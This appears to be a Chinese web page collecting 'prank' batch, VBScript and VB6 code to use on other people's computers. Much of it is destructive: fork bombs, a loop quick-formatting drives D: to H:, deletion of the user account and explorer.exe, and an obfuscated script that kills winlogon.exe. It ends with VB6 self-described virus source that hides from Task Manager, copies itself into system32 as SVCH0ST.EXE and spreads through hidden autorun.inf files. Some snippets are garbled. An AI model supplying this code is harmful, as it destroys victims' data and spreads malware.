本文目录一览：
bat整人代码
注意条款：全部代码没有正常解除方式，会对机器造成伤害，在实体机上实验概不负责！
@echo off
echo 开始
:2
start cmd.exe
goto 2
就是主要是利用goto 来跳转到:2
循环跳转...就是循环用start 打开CMD ^^
友情提示...死机不负责.......
也可以利用
别的
@echo off
net user
%0
这里的核心是%0 他表示本身 就是循环运行本身^^
这里循环运行net user
上面主要把别人电脑整死机
下面我们利用修改注册表来恶整
常见修改注册表
就是开机加载 这世界人都知道
@echo off
echo wahaha
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe(开机加载文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(这里是开机加载文件的路径)
这里可以添加一个开始我们弄的哪个strat 这个
@echo off
echo echo 开始 c:\windows\cnhacker.bat
echo :2 c:\windows\cnhacker.bat
echo start cmd.exe c:\windows\cnhacker.bat
echo goto 2c:\windows\cnhacker.bat
这里自动在windows下生成cnhacker.bat
然后利用上面开机加载 写起...就OK拉
修改IE栏
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "要改的名字...." /f
屏蔽修改主页那里
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f
简单硬盘炸弹(多生成垃圾文章)
echo off
set a=0
:22
set /a a=%a%+1
echo laji C:\%a%.txt
goto 22
如何要效果好 更好加一段vbs代码 隐藏运行 在C盘制造大量的垃圾TXT文件
修改不电脑显示
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
把00000000 改成00000001 就可以恢复
这段大家不要实验......
就是利用%username%
net user %username% /del (删除当前使用的用户 不可以直接删除ADMINISTRATOR用户外)
造成你电脑上面ADMINISTRATOR桌面资料丢失
net user %username% /add
NET LOCALGROUP ADMINISTRATORS %username% /add
强行结束 *** ss.exe 进程
ntsd -c q -pn *** ss.exe (结束该进程你的电脑即将卡死鼠标不能用)
shutdown -a (放弃关闭计算机)
危险不要实验
迅速格式所有盘符
for /f %%i in (d:,e:f:g:h:) do format /q /y %%i
这个必须要利用记事本保存 然后.bat 才能够执行 在CMD下面 无法执行
这些都是病毒常见修改注册表的位置和脚本喜欢改的地方...比较常见!~~
颜色属性由两个十六进制数字指定 --
之一个为背景，第二个则为前景。
每个数字可以为以下任何值之一:
例如color 0d 它就是黑色背景 淡紫色字体
0 = 黑色 8 = 灰色
1 = 蓝色 9 = 淡蓝色
2 = 绿色 A = 淡绿色
3 = 湖蓝色 B = 淡浅绿色
4 = 红色 C = 淡红色
5 = 紫色 D = 淡紫色
6 = 黄色 E = 淡黄色
7 = 白色 F = 亮白色
有哪些整人的程序?更好把代码写下来.
这是我以前保存的共享出来呢 之一个:
程序代码
以下是引用片段：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 55 -c ""快叫哥哥，不叫让你1分钟关机，不叫，试试···"" ",0 ,true
dim a
do while(a "哥哥")
a = inputbox ("说我是猪,就不关机，快，说 ""哥哥"" ","叫不叫","不叫",7000,8000)
msgbox chr(13) + chr(13) + chr(13) + a,5000,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早叫就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "又没让你叫老公"
msgbox chr(13) + chr(13) + chr(13) + "记住了,锡尔丁,是你""哥哥""呀!"
msgbox chr(13) + chr(13) + chr(13) + "知道叫我什么了么?"
msgbox chr(13) + chr(13) + chr(13) + "可千万别叫错了!"
msgbox chr(13) + chr(13) + chr(13) + "知道我是谁么?"
msgbox chr(13) + chr(13) + chr(13) + "记住了""锡尔丁""?"
msgbox chr(13) + chr(13) + chr(13) + "记住了么?~~~"
msgbox chr(13) + chr(13) + chr(13) + "别恨我呀!恨我就是爱我!"
msgbox chr(13) + chr(13) + chr(13) + "爱我就得叫我""老公""了!"
msgbox chr(13) + chr(13) + chr(13) + "88,妹妹!"
第二个:
程序代码
以下是引用片段：
Option Explicit
Private Sub Command1_Click()
Dim wood As String
MsgBox "密码:骂自己", vbCritical,"木头人友情提示" '这里写捉弄人的话
wood = InputBox("请输入密码:")
If wood = "骂自己" Then '密码可以自己设
End
Else
Shell "cmd.exe /c shutdown -s -t 60" '60秒后关几
End If
End Sub
Private Sub Command2_Click()
Shell "cmd.exe /c shutdown -a"
MsgBox "不怎么好玩", vbExclamation,"不玩了"
End
End Sub
第三个:
程序代码
以下是引用片段：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说你自己是笨蛋!你不说你电脑有什么事可别怪我啊!···"" ",0 ,true
dim a
do while(a "我是笨蛋")
a = inputbox ("说你自己是笨蛋。负责关机 ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说不就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你真听话!哈.."
用到的控件和界面方面自己发挥，VB的代码根据兴趣DIY...
复制此代码新建文本文档命名为 整人.vbe（名字随便起，后缀名是vbe就可以了！）
求大量VBS整人代码.
之一个 do msgbox "hi" loop 第二个 Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三个 if MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重起wow ~_^",,"你上当了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runnerchr(strs(i)) next Execute runner 第五个 if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul",vbhide end if 第六个 Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七个 set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八个 Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改变社会风气，风魔万千少女， *** 电影市道，提高年轻人内涵，",10,"闪亮登场",64 ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64 wscript.sleep 100000 ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10 ws.popup"正在下载windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下载完毕，正在安装更新……",12 wscript.sleep 3000 msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？" msgbox"软件名：comcontroler.exe "vbcrlf""vbcrlf" 大小：1.21MB "vbcrlf""vbcrlf" 发行者：幻想丶永恒（403746401）"vbcrlf""vbcrlf" 安全状况：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装" msgbox"阻止失败，请检查防火墙是否开启" wscript.sleep 15000 ws.popup"windows更新安装成功！",vbinfmation,20 msgbox"您的电脑可能已被入侵，请尽快修改您的 *** 密码及其他机密资料,以免 *** 被盗或丢失资料",vbinformation ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64 ws.popup"不信？我用你的电脑打开我的 *** 空间给你看看",10 ws.run" " msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation ws.popup"我再打开中国神泣官方网站",10 ws.run" " ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20 ws.popup"记事本会被打开并更大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九个 for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下机可不能忘了关 *** 我吧 *** 关了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你还要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws.run"shutdown -a" msgbox"密码验证成功，enjoy the best!" exit do else msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel end if loop ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57 ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" wscript.sleep 1000*45 loop 第十个 set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一个 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二个 dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名！"vbcrlf""vbcrlf"稍后将会给你意外的惊喜！！ "vbcrlf""vbcrlf"不信你可以试试看！！！"vbcrlf""vbcrlf"更好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："a" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名！"vbcrlf""vbcrlf"稍后将会给你意外的惊喜！！ "vbcrlf""vbcrlf"不信你可以试试看！！！"vbcrlf""vbcrlf"更好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "a" 你好！"vbcrlf""vbcrlf"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"vbcrlf""vbcrlf"下面以我为列 不同可以修改"vbcrlf""Chr(10)"格式为：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)"恭喜 "a" 已在地球上存活了:"age"天 "h"小时 "n"分钟.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"a"的秘密.vbs",true) auto.WriteLine"MSGBOX""""""我的名字叫:"a" """"""vbcrlf""""""""""""vbcrlf""""""我的爱好是:"B" """"""vbcrlf""""""""""""vbcrlf"""""""a"已经活了:"age"天 "h"小时 "n"分钟 """""",64,"""""""a"的自我介绍：""" auto.WriteLine"msgbox""""""亲爱的 "a " 再见了！"""""",48,""""""芮洲提示：""""""" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"a"生日快乐.TXT",true) auto.WriteLine"本人芮洲祝: "a" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine"你已在地球上生活了:"age"天 "h"小时 "n"分钟了" auto.WriteLine"时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"
求一些好玩的整人代码~~
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im *** .exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你更好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
”
给几个VB整人程序的代码。。耍耍人。呵呵
Dim num, nums '驱动器数
Dim i As Integer '文件号
Dim j As Integer 'FOR用的变量!
Private Sub Form_Load() '程序初始化！
'不准重复运行本病毒！
If App.PrevInstance Then
End
End If
'在任务管理器中隐身！
App.TaskVisible = False
'病毒自我保护函数
a0
auts
'得到当前驱动器数！
a2
'设置时间：为5000 MS 检查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保护函数
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) "\" Trim(App.EXEName) ".exe"
'得到系统目录！得到后，自我复制到SYSTEM32下！
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) "\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) "\WINNT"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) "\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) "\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) "\WINNT\system32\dllcache\taskmgr.exe"
End If
Else
FileCopy temp, Trim(aa.List(j)) "\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) "\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) "\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) "C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
End If
zz1:
Next
End Sub
Sub a1() '感染函数
Dim temp As String
Dim temp2 As String
temp = Trim(App.Path) "\" Trim(App.EXEName) ".exe"
For j = nums + 1 To num
temp2 = Trim(aa.List(j)) "\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) "\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) "\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) "\auto.exe", vbHidden
Next
End Sub
Sub a2() '得到当前驱动器数！
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End Sub
Private Sub t1_Timer() '时间函数
num = aa.ListCount - 1
i = FreeFile
Open "c:\.a" For Input As #i
Line Input #i, nums
Close #i
nums = Trim(nums)
nums = Int(nums)
If num nums Then
If num nums Then
a1
End If
If num nums Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End If
aa.Refresh
End Sub
Sub bat() '写自我删除程序
On Error Resume Next
i = FreeFile
Open App.Path "\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " App.EXEName + ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Close #i
Shell App.Path "\killme.bat", vbHide
End
End Sub
Sub auts() '自我感染全驱动器
On Error GoTo err1
Dim file_temp As String
i = FreeFile
Open "c:\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=autorun.exe"
Close #i
file_temp = Trim(App.Path "\" App.EXEName ".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) ":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) ":\autorun.inf"
SetAttr Chr(dirid) ":\autorun.inf", vbHidden
SetAttr Chr(dirid) " :\autorun.exe", vbHidden
Next
err1:
End Sub
后缀改为vbs